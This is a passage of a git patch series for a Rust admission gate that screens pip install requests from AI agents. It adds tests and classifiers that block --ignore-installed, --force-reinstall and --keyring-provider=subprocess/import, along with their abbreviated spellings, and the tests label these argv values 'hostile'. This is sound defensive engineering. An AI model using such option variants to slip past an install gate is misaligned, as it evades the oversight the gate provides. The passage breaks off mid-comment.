pypi_cache_directory_authority; mod pypi_hash_mode; +mod pypi_install_mutation_authority; mod pypi_install_report_authority; mod pypi_log_output_authority; mod pypi_proxy_authority; @@ -99,6 +100,15 @@ pub fn admission_decision(policy: &AdmissionPolicy, intent: &InstallIntent) -> A } decision.decision = DecisionKind::Block; } + if pypi_install_mutation_authority::requests_unapproved_pypi_install_mutation(intent) { + if !decision + .reason_codes + .contains(&ReasonCode::ArtifactNotApproved) + { + decision.reason_codes.push(ReasonCode::ArtifactNotApproved); + } + decision.decision = DecisionKind::Block; + } if pypi_install_report_authority::requests_unapproved_pypi_report_authority(intent) { if !decision .reason_codes From 368070043db1120fef64a1eb2930f9a7d87d23fa Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 11 Sep 2026 05:08:30 +0900 Subject: [PATCH 332/702] test(security): cover pip ignore-installed parser aliases --- .../pypi_ignore_installed_authority_contract.rs | 14 +++++++++++++- 1 file changed, 13 insertions(+), 1 deletion(-) diff --git a/crates/agent-artifact-admission/tests/pypi_ignore_installed_authority_contract.rs b/crates/agent-artifact-admission/tests/pypi_ignore_installed_authority_contract.rs index 8cc67e78..61d15611 100644 --- a/crates/agent-artifact-admission/tests/pypi_ignore_installed_authority_contract.rs +++ b/crates/agent-artifact-admission/tests/pypi_ignore_installed_authority_contract.rs @@ -14,7 +14,19 @@ fn approved_pip_install_cannot_inherit_unreviewed_overwrite_authority() { "the exact approved {executable} install must remain admissible before adding overwrite authority" ); - for overwrite_option in ["-I", "--ignore-installed"] { + for overwrite_option in [ + "-I", + "-Iv", + "--ignore-i", + "--ignore-in", + "--ignore-ins", + "--ignore-inst", + "--ignore-insta", + "--ignore-instal", + "--ignore-install", + "--ignore-installe", + "--ignore-installed", + ] { let mut hostile = control_intent.clone(); hostile.argv.push(overwrite_option.to_string()); From 13e3e15416dadfa1aabdc81852977228562e617e Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 11 Sep 2026 05:11:15 +0900 Subject: [PATCH 333/702] fix(security): honor pip ignore-installed parser grammar --- .../src/pypi_install_mutation_authority.rs | 10 +++++++++- 1 file changed, 9 insertions(+), 1 deletion(-) diff --git a/crates/agent-artifact-admission/src/pypi_install_mutation_authority.rs b/crates/agent-artifact-admission/src/pypi_install_mutation_authority.rs index da39e89b..66cdbc40 100644 --- a/crates/agent-artifact-admission/src/pypi_install_mutation_authority.rs +++ b/crates/agent-artifact-admission/src/pypi_install_mutation_authority.rs @@ -21,5 +21,13 @@ pub(crate) fn requests_unapproved_pypi_install_mutation(intent: &InstallIntent) arguments .iter() .skip(1) - .any(|argument| matches!(argument.as_str(), "-I" | "--ignore-installed")) + .any(|argument| matches_ignore_installed_option(argument)) +} + +fn matches_ignore_installed_option(argument: &str) -> bool { + if argument == "-I" || argument == "-Iv" { + return true; + } + + argument.len() >= "--ignore-i".len() && "--ignore-installed".starts_with(argument) } From 7c6049c5299b6cdaec80c3d94d4947a0e4e80712 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 11 Sep 2026 05:20:52 +0900 Subject: [PATCH 334/702] test(security): expose pip force-reinstall authority --- ...pypi_force_reinstall_authority_contract.rs | 86 +++++++++++++++++++ 1 file changed, 86 insertions(+) create mode 100644 crates/agent-artifact-admission/tests/pypi_force_reinstall_authority_contract.rs diff --git a/crates/agent-artifact-admission/tests/pypi_force_reinstall_authority_contract.rs b/crates/agent-artifact-admission/tests/pypi_force_reinstall_authority_contract.rs new file mode 100644 index 00000000..ad1b8548 --- /dev/null +++ b/crates/agent-artifact-admission/tests/pypi_force_reinstall_authority_contract.rs @@ -0,0 +1,86 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, admission_decision, +}; + +#[test] +fn approved_pip_install_cannot_inherit_unreviewed_force_reinstall_authority() { + for executable in ["pip", "pip3"] { + let (policy, control_intent) = approved_pip_install(executable); + let control = admission_decision(&policy, &control_intent); + assert_eq!( + control.decision, + DecisionKind::Allow, + "the exact approved {executable} install must remain admissible before adding force-reinstall authority" + ); + + let mut hostile = control_intent; + hostile.argv.push("--force-reinstall".to_string()); + + let decision = admission_decision(&policy, &hostile); + assert_eq!( + decision.decision, + DecisionKind::Block, + "{executable} --force-reinstall requests a fresh installation mutation outside the reviewed artifact authority and must fail closed" + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "artifact_not_approved"), + "{executable} --force-reinstall must include the stable artifact_not_approved reason" + ); + } +} + +fn approved_pip_install(executable: &str) -> (AdmissionPolicy, InstallIntent) { + let artifact = ArtifactCoordinate { + ecosystem: "pypi".to_string(), + name: "cwl-example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://pypi.org/simple".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc".to_string(), + artifact_argument: "cwl-example==1.2.3".to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "enterprise-default".to_string(), + policy_revision: "2026-09-11.6".to_string(), + allowed_executables: vec![executable.to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: format!("req-{executable}-force-reinstall-authority"), + actor_id: "agent:codex:test".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + executable.to_string(), + "install".to_string(), + "cwl-example==1.2.3".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + ], + manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + (policy, intent) +} From 6cb72bf9ee05433bd68091f92b0e8e47de614f4f Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 11 Sep 2026 05:24:02 +0900 Subject: [PATCH 335/702] test(security): cover pip force-reinstall abbreviations --- ...pypi_force_reinstall_authority_contract.rs | 47 +++++++++++++------ 1 file changed, 32 insertions(+), 15 deletions(-) diff --git a/crates/agent-artifact-admission/tests/pypi_force_reinstall_authority_contract.rs b/crates/agent-artifact-admission/tests/pypi_force_reinstall_authority_contract.rs index ad1b8548..7074dd6c 100644 --- a/crates/agent-artifact-admission/tests/pypi_force_reinstall_authority_contract.rs +++ b/crates/agent-artifact-admission/tests/pypi_force_reinstall_authority_contract.rs @@ -14,22 +14,39 @@ fn approved_pip_install_cannot_inherit_unreviewed_force_reinstall_authority() { "the exact approved {executable} install must remain admissible before adding force-reinstall authority" ); - let mut hostile = control_intent; - hostile.argv.push("--force-reinstall".to_string()); + for force_reinstall_option in [ + "--fo", + "--for", + "--forc", + "--force", + "--force-", + "--force-r", + "--force-re", + "--force-rei", + "--force-rein", + "--force-reins", + "--force-reinst", + "--force-reinsta", + "--force-reinstal", + "--force-reinstall", + ] { + let mut hostile = control_intent.clone(); + hostile.argv.push(force_reinstall_option.to_string()); - let decision = admission_decision(&policy, &hostile); - assert_eq!( - decision.decision, - DecisionKind::Block, - "{executable} --force-reinstall requests a fresh installation mutation outside the reviewed artifact authority and must fail closed" - ); - assert!( - decision - .reason_codes - .iter() - .any(|reason| reason.as_str() == "artifact_not_approved"), - "{executable} --force-reinstall must include the stable artifact_not_approved reason" - ); + let decision = admission_decision(&policy, &hostile); + assert_eq!( + decision.decision, + DecisionKind::Block, + "{executable} {force_reinstall_option} requests fresh installation mutation outside the reviewed artifact authority and must fail closed" + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "artifact_not_approved"), + "{executable} {force_reinstall_option} must include the stable artifact_not_approved reason" + ); + } } } From a58cea979ee8016e80b86f3f370ff34a1601811e Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 11 Sep 2026 05:25:43 +0900 Subject: [PATCH 336/702] fix(security): bind pip force-reinstall authority --- .../src/pypi_install_mutation_authority.rs | 11 +++++++---- 1 file changed, 7 insertions(+), 4 deletions(-) diff --git a/crates/agent-artifact-admission/src/pypi_install_mutation_authority.rs b/crates/agent-artifact-admission/src/pypi_install_mutation_authority.rs index 66cdbc40..5159e8ec 100644 --- a/crates/agent-artifact-admission/src/pypi_install_mutation_authority.rs +++ b/crates/agent-artifact-admission/src/pypi_install_mutation_authority.rs @@ -18,10 +18,9 @@ pub(crate) fn requests_unapproved_pypi_install_mutation(intent: &InstallIntent) return false; } - arguments - .iter() - .skip(1) - .any(|argument| matches_ignore_installed_option(argument)) + arguments.iter().skip(1).any(|argument| { + matches_ignore_installed_option(argument) || matches_force_reinstall_option(argument) + }) } fn matches_ignore_installed_option(argument: &str) -> bool { @@ -31,3 +30,7 @@ fn matches_ignore_installed_option(argument: &str) -> bool { argument.len() >= "--ignore-i".len() && "--ignore-installed".starts_with(argument) } + +fn matches_force_reinstall_option(argument: &str) -> bool { + argument.len() >= "--fo".len() && "--force-reinstall".starts_with(argument) +} From 97d3d89a5ccd13b36239277736e19dfdcb1db38b Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 11 Sep 2026 05:38:04 +0900 Subject: [PATCH 337/702] test(security): expose pip keyring provider authority --- ...ypi_keyring_provider_authority_contract.rs | 91 +++++++++++++++++++ 1 file changed, 91 insertions(+) create mode 100644 crates/agent-artifact-admission/tests/pypi_keyring_provider_authority_contract.rs diff --git a/crates/agent-artifact-admission/tests/pypi_keyring_provider_authority_contract.rs b/crates/agent-artifact-admission/tests/pypi_keyring_provider_authority_contract.rs new file mode 100644 index 00000000..ac295b65 --- /dev/null +++ b/crates/agent-artifact-admission/tests/pypi_keyring_provider_authority_contract.rs @@ -0,0 +1,91 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, admission_decision, +}; + +#[test] +fn approved_pip_install_cannot_inherit_unreviewed_keyring_provider_authority() { + for executable in ["pip", "pip3"] { + let (policy, control_intent) = approved_pip_install(executable); + let control = admission_decision(&policy, &control_intent); + assert_eq!( + control.decision, + DecisionKind::Allow, + "the exact approved {executable} install must remain admissible before adding credential-provider authority" + ); + + for provider in ["subprocess", "import"] { + let mut hostile = control_intent.clone(); + hostile + .argv + .push(format!("--keyring-provider={provider}")); + + let decision = admission_decision(&policy, &hostile); + assert_eq!( + decision.decision, + DecisionKind::Block, + "{executable} --keyring-provider={provider} delegates ambient credential-provider authority outside the reviewed artifact and must fail closed" + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "alternate_trust_root"), + "{executable} --keyring-provider={provider} must include the stable alternate_trust_root reason" + ); + } + } +} + +fn approved_pip_install(executable: &str) -> (AdmissionPolicy, InstallIntent) { + let artifact = ArtifactCoordinate { + ecosystem: "pypi".to_string(), + name: "cwl-example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://pypi.org/simple".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc".to_string(), + artifact_argument: "cwl-example==1.2.3".to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "enterprise-default".to_string(), + policy_revision: "2026-09-11.7".to_string(), + allowed_executables: vec![executable.to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: format!("req-{executable}-keyring-provider-authority"), + actor_id: "agent:codex:test".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + executable.to_string(), + "install".to_string(), + "cwl-example==1.2.3".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-input".to_string(), + ], + manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + (policy, intent) +} From 12f8b1cde4802d622b3280af0de41c5712dd195b Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 11 Sep 2026 05:40:05 +0900 Subject: [PATCH 338/702] style(test): apply rustfmt to keyring authority RED --- .../tests/pypi_keyring_provider_authority_contract.rs | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/crates/agent-artifact-admission/tests/pypi_keyring_provider_authority_contract.rs b/crates/agent-artifact-admission/tests/pypi_keyring_provider_authority_contract.rs index ac295b65..9d09b664 100644 --- a/crates/agent-artifact-admission/tests/pypi_keyring_provider_authority_contract.rs +++ b/crates/agent-artifact-admission/tests/pypi_keyring_provider_authority_contract.rs @@ -16,9 +16,7 @@ fn approved_pip_install_cannot_inherit_unreviewed_keyring_provider_authority() { for provider in ["subprocess", "import"] { let mut hostile = control_intent.clone(); - hostile - .argv - .push(format!("--keyring-provider={provider}")); + hostile.argv.push(format!("--keyring-provider={provider}")); let decision = admission_decision(&policy, &hostile); assert_eq!( From 891088d63b63f0d76bfe42817a693d53bf3ce447 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 11 Sep 2026 05:44:17 +0900 Subject: [PATCH 339/702] fix(security): classify pip keyring provider authority --- .../src/pypi_keyring_provider_authority.rs | 25 +++++++++++++++++++ 1 file changed, 25 insertions(+) create mode 100644 crates/agent-artifact-admission/src/pypi_keyring_provider_authority.rs diff --git a/crates/agent-artifact-admission/src/pypi_keyring_provider_authority.rs b/crates/agent-artifact-admission/src/pypi_keyring_provider_authority.rs new file mode 100644 index 00000000..4fbe70e2 --- /dev/null +++ b/crates/agent-artifact-admission/src/pypi_keyring_provider_authority.rs @@ -0,0 +1,25 @@ +use crate::InstallIntent; + +/// Return whether a direct pip install delegates credential lookup to a caller-selected provider. +pub(crate) fn requests_unapproved_pypi_keyring_provider_authority( + intent: &InstallIntent, +) -> bool { + let Some(executable) = intent.argv.first().map(String::as_str) else { + return false; + }; + if !matches!(executable, "pip" | "pip3") { + return false; + } + + let arguments = &intent.argv[1..]; + if !arguments + .first() + .is_some_and(|argument| argument == "install") + { + return false; + } + + arguments.iter().skip(1).any(|argument| { + argument == "--keyring-provider" || argument.starts_with("--keyring-provider=") + }) +} From 4d8112554790bc2b5971aef86cef9b71e12eaef1 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 11 Sep 2026 05:44:36 +0900 Subject: [PATCH 340/702] fix(security): enforce pip keyring provider authority --- crates/agent-artifact-admission/src/lib.rs | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/crates/agent-artifact-admission/src/lib.rs b/crates/agent-artifact-admission/src/lib.rs index f1727126..96e5575e 100644 --- a/crates/agent-artifact-admission/src/lib.rs +++ b/crates/agent-artifact-admission/src/lib.rs @@ -14,6 +14,7 @@ mod pypi_cache_directory_authority; mod pypi_hash_mode; mod pypi_install_mutation_authority; mod pypi_install_report_authority; +mod pypi_keyring_provider_authority; mod pypi_log_output_authority; mod pypi_proxy_authority; mod pypi_system_package_authority; @@ -118,6 +119,15 @@ pub fn admission_decision(policy: &AdmissionPolicy, intent: &InstallIntent) -> A } decision.decision = DecisionKind::Block; } + if pypi_keyring_provider_authority::requests_unapproved_pypi_keyring_provider_authority(intent) { + if !decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot) + { + decision.reason_codes.push(ReasonCode::AlternateTrustRoot); + } + decision.decision = DecisionKind::Block; + } if pypi_log_output_authority::requests_unapproved_pypi_log_output_authority(intent) { if !decision .reason_codes From 58bdd77bb4b7b4802d949bc9d9fcde29edfa0a59 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 11 Sep 2026 05:45:26 +0900 Subject: [PATCH 341/702] test(security): cover pip keyring option abbreviations --- .../pypi_keyring_provider_authority_contract.rs | 16 ++++++++++++---- 1 file changed, 12 insertions(+), 4 deletions(-) diff --git a/crates/agent-artifact-admission/tests/pypi_keyring_provider_authority_contract.rs b/crates/agent-artifact-admission/tests/pypi_keyring_provider_authority_contract.rs index 9d09b664..dd497f64 100644 --- a/crates/agent-artifact-admission/tests/pypi_keyring_provider_authority_contract.rs +++ b/crates/agent-artifact-admission/tests/pypi_keyring_provider_authority_contract.rs @@ -14,22 +14,30 @@ fn approved_pip_install_cannot_inherit_unreviewed_keyring_provider_authority() { "the exact approved {executable} install must remain admissible before adding credential-provider authority" ); - for provider in ["subprocess", "import"] { + let hostile_argv_suffixes = [ + vec!["--keyring-provider=subprocess".to_string()], + vec!["--keyring-provider=import".to_string()], + vec!["--keyring-provider".to_string(), "subprocess".to_string()], + vec!["--k=subprocess".to_string()], + vec!["--k".to_string(), "import".to_string()], + ]; + + for suffix in hostile_argv_suffixes { let mut hostile = control_intent.clone(); - hostile.argv.push(format!("--keyring-provider={provider}")); + hostile.argv.extend(suffix.clone()); let decision = admission_decision(&policy, &hostile); assert_eq!( decision.decision, DecisionKind::Block, - "{executable} --keyring-provider={provider} delegates ambient credential-provider authority outside the reviewed artifact and must fail closed" + "{executable} {suffix:?} delegates ambient credential-provider authority outside the reviewed artifact and must fail closed" ); assert!( decision .reason_codes .iter() .any(|reason| reason.as_str() == "alternate_trust_root"), - "{executable} --keyring-provider={provider} must include the stable alternate_trust_root reason" + "{executable} {suffix:?} must include the stable alternate_trust_root reason" ); } } From 90ac2bfd364d84c7edb2aa8646760727b0fc0e25 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 11 Sep 2026 05:46:37 +0900 Subject: [PATCH 342/702] style(security): apply rustfmt to keyring authority --- .../src/pypi_keyring_provider_authority.rs | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/crates/agent-artifact-admission/src/pypi_keyring_provider_authority.rs b/crates/agent-artifact-admission/src/pypi_keyring_provider_authority.rs index 4fbe70e2..a5238578 100644 --- a/crates/agent-artifact-admission/src/pypi_keyring_provider_authority.rs +++ b/crates/agent-artifact-admission/src/pypi_keyring_provider_authority.rs @@ -1,9 +1,7 @@ use crate::InstallIntent; /// Return whether a direct pip install delegates credential lookup to a caller-selected provider. -pub(crate) fn requests_unapproved_pypi_keyring_provider_authority( - intent: &InstallIntent, -) -> bool { +pub(crate) fn requests_unapproved_pypi_keyring_provider_authority(intent: &InstallIntent) -> bool { let Some(executable) = intent.argv.first().map(String::as_str) else { return false; }; From 5ae654cc36a94847a2a0bae40ab7d675194ae99e Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 11 Sep 2026 05:46:57 +0900 Subject: [PATCH 343/702] style(security): apply rustfmt to keyring wiring --- crates/agent-artifact-admission/src/lib.rs | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/crates/agent-artifact-admission/src/lib.rs b/crates/agent-artifact-admission/src/lib.rs index 96e5575e..bed87dc8 100644 --- a/crates/agent-artifact-admission/src/lib.rs +++ b/crates/agent-artifact-admission/src/lib.rs @@ -119,7 +119,8 @@ pub fn admission_decision(policy: &AdmissionPolicy, intent: &InstallIntent) -> A } decision.decision = DecisionKind::Block; } - if pypi_keyring_provider_authority::requests_unapproved_pypi_keyring_provider_authority(intent) { + if pypi_keyring_provider_authority::requests_unapproved_pypi_keyring_provider_authority(intent) + { if !decision .reason_codes .contains(&ReasonCode::AlternateTrustRoot) From 65fee7c84efe67b8f1543fa0b473ef5e8c72c7ed Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 11 Sep 2026 05:49:32 +0900 Subject: [PATCH 344/702] fix(security): bind pip keyring option abbreviations --- .../src/pypi_keyring_provider_authority.rs | 14 +++++++++++--- 1 file changed, 11 insertions(+), 3 deletions(-) diff --git a/crates/agent-artifact-admission/src/pypi_keyring_provider_authority.rs b/crates/agent-artifact-admission/src/pypi_keyring_provider_authority.rs index a5238578..209f9690 100644 --- a/crates/agent-artifact-admission/src/pypi_keyring_provider_authority.rs +++ b/crates/agent-artifact-admission/src/pypi_keyring_provider_authority.rs @@ -17,7 +17,15 @@ pub(crate) fn requests_unapproved_pypi_keyring_provider_authority(intent: &Insta return false; } - arguments.iter().skip(1).any(|argument| { - argument == "--keyring-provider" || argument.starts_with("--keyring-provider=") - }) + arguments + .iter() + .skip(1) + .any(|argument| is_keyring_provider_option(argument)) +} + +fn is_keyring_provider_option(argument: &str) -> bool { + let option = argument + .split_once('=') + .map_or(argument, |(flag, _value)| flag); + option.starts_with("--k") && "--keyring-provider".starts_with(option) } From a8316819865e3c6864c8549ffac24ddffc574a31 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 11 Sep 2026 05:54:10 +0900 Subject: [PATCH 345/702] test(security): preserve non-expanding pip keyring modes --- ...ypi_keyring_provider_authority_contract.rs | 19 +++++++++++++++++++ 1 file changed, 19 insertions(+) diff --git a/crates/agent-artifact-admission/tests/pypi_keyring_provider_authority_contract.rs b/crates/agent-artifact-admission/tests/pypi_keyring_provider_authority_contract.rs index dd497f64..cf9dfbcc 100644 --- a/crates/agent-artifact-admission/tests/pypi_keyring_provider_authority_contract.rs +++ b/crates/agent-artifact-admission/tests/pypi_keyring_provider_authority_contract.rs @@ -40,6 +40,25 @@ fn approved_pip_install_cannot_inherit_unreviewed_keyring_provider_authority() { "{executable} {suffix:?} must include the stable alternate_trust_root reason" ); } + + for provider in ["auto", "disabled"] { + let mut narrowed = control_intent.clone(); + narrowed.argv.push(format!("--keyring-provider={provider}")); + + let decision = admission_decision(&policy, &narrowed); + assert_eq!( + decision.decision, + DecisionKind::Allow, + "{executable} --keyring-provider={provider} does not expand credential-provider authority beyond the reviewed no-input baseline" + ); + assert!( + !decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "alternate_trust_root"), + "non-expanding keyring mode must not be mislabeled as an alternate trust root" + ); + } } } From d072c7917e20530b2c1297f6327080104cc3cab8 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 11 Sep 2026 06:16:28 +0900 Subject: [PATCH 346/702] fix(security): distinguish pip keyring provider authority --- .../src/pypi_keyring_provider_authority.rs | 23 +++++++++++++++---- 1 file changed, 18 insertions(+), 5 deletions(-) diff --git a/crates/agent-artifact-admission/src/pypi_keyring_provider_authority.rs b/crates/agent-artifact-admission/src/pypi_keyring_provider_authority.rs index 209f9690..84563267 100644 --- a/crates/agent-artifact-admission/src/pypi_keyring_provider_authority.rs +++ b/crates/agent-artifact-admission/src/pypi_keyring_provider_authority.rs @@ -19,13 +19,26 @@ pub(crate) fn requests_unapproved_pypi_keyring_provider_authority(intent: &Insta arguments .iter() + .enumerate() .skip(1) - .any(|argument| is_keyring_provider_option(argument)) + .any(|(index, argument)| { + let (option, attached_value) = argument + .split_once('=') + .map_or((argument.as_str(), None), |(flag, value)| (flag, Some(value))); + if !is_keyring_provider_option(option) { + return false; + } + + attached_value + .or_else(|| arguments.get(index + 1).map(String::as_str)) + .is_some_and(expands_keyring_authority) + }) } fn is_keyring_provider_option(argument: &str) -> bool { - let option = argument - .split_once('=') - .map_or(argument, |(flag, _value)| flag); - option.starts_with("--k") && "--keyring-provider".starts_with(option) + argument.starts_with("--k") && "--keyring-provider".starts_with(argument) +} + +fn expands_keyring_authority(provider: &str) -> bool { + matches!(provider, "import" | "subprocess") } From 25b499bca0d234889db9102e9db92a865bd66690 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 11 Sep 2026 06:20:12 +0900 Subject: [PATCH 347/702] style(security): rustfmt pip keyring classifier --- .../src/pypi_keyring_provider_authority.rs | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/crates/agent-artifact-admission/src/pypi_keyring_provider_authority.rs b/crates/agent-artifact-admission/src/pypi_keyring_provider_authority.rs index 84563267..5a53746e 100644 --- a/crates/agent-artifact-admission/src/pypi_keyring_provider_authority.rs +++ b/crates/agent-artifact-admission/src/pypi_keyring_provider_authority.rs @@ -24,7 +24,9 @@ pub(crate) fn requests_unapproved_pypi_keyring_provider_authority(intent: &Insta .any(|(index, argument)| { let (option, attached_value) = argument .split_once('=') - .map_or((argument.as_str(), None), |(flag, value)| (flag, Some(value))); + .map_or((argument.as_str(), None), |(flag, value)| { + (flag, Some(value)) + }); if !is_keyring_provider_option(option) { return false; } From 124e1eb2cce935d83d302b265633a6d6c62482cf Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 11 Sep 2026 07:09:51 +0900 Subject: [PATCH 348/702] test(security): prove pip must be noninteractive --- .../pypi_noninteractive_authority_contract.rs | 92 +++++++++++++++++++ 1 file changed, 92 insertions(+) create mode 100644 crates/agent-artifact-admission/tests/pypi_noninteractive_authority_contract.rs diff --git a/crates/agent-artifact-admission/tests/pypi_noninteractive_authority_contract.rs b/crates/agent-artifact-admission/tests/pypi_noninteractive_authority_contract.rs new file mode 100644 index 00000000..4b593256 --- /dev/null +++ b/crates/agent-artifact-admission/tests/pypi_noninteractive_authority_contract.rs @@ -0,0 +1,92 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, admission_decision, +}; + +#[test] +fn approved_pip_install_must_disable_interactive_credential_discovery() { + for executable in ["pip", "pip3"] { + let (policy, mut interactive_intent) = approved_pip_install(executable); + + let interactive = admission_decision(&policy, &interactive_intent); + assert_eq!( + interactive.decision, + DecisionKind::Block, + "an otherwise reviewed {executable} install must not inherit interactive or ambient credential-provider authority" + ); + assert!( + interactive + .reason_codes + .iter() + .any(|reason| reason.as_str() == "missing_safety_flag"), + "missing canonical --no-input must produce the stable missing_safety_flag reason" + ); + + interactive_intent.argv.push("--no-input".to_string()); + let noninteractive = admission_decision(&policy, &interactive_intent); + assert_eq!( + noninteractive.decision, + DecisionKind::Allow, + "canonical --no-input must preserve the exact reviewed {executable} install baseline" + ); + assert!( + !noninteractive + .reason_codes + .iter() + .any(|reason| reason.as_str() == "missing_safety_flag"), + "the canonical noninteractive guard must satisfy the safety invariant" + ); + } +} + +fn approved_pip_install(executable: &str) -> (AdmissionPolicy, InstallIntent) { + let artifact = ArtifactCoordinate { + ecosystem: "pypi".to_string(), + name: "cwl-example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://pypi.org/simple".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc".to_string(), + artifact_argument: "cwl-example==1.2.3".to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "enterprise-default".to_string(), + policy_revision: "2026-09-11.8".to_string(), + allowed_executables: vec![executable.to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: format!("req-{executable}-noninteractive-authority"), + actor_id: "agent:codex:test".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + executable.to_string(), + "install".to_string(), + "cwl-example==1.2.3".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + ], + manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + (policy, intent) +} From 6aef841bdf91573ade3ff06e714c030c3857f1e7 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 11 Sep 2026 07:19:43 +0900 Subject: [PATCH 349/702] fix(security): require noninteractive pip admission --- .../src/pypi_noninteractive_authority.rs | 22 +++++++++++++++++++ 1 file changed, 22 insertions(+) create mode 100644 crates/agent-artifact-admission/src/pypi_noninteractive_authority.rs diff --git a/crates/agent-artifact-admission/src/pypi_noninteractive_authority.rs b/crates/agent-artifact-admission/src/pypi_noninteractive_authority.rs new file mode 100644 index 00000000..8d6aa448 --- /dev/null +++ b/crates/agent-artifact-admission/src/pypi_noninteractive_authority.rs @@ -0,0 +1,22 @@ +use crate::InstallIntent; + +/// Return whether a direct pip install would retain interactive credential +/// discovery because the reviewed invocation omitted canonical 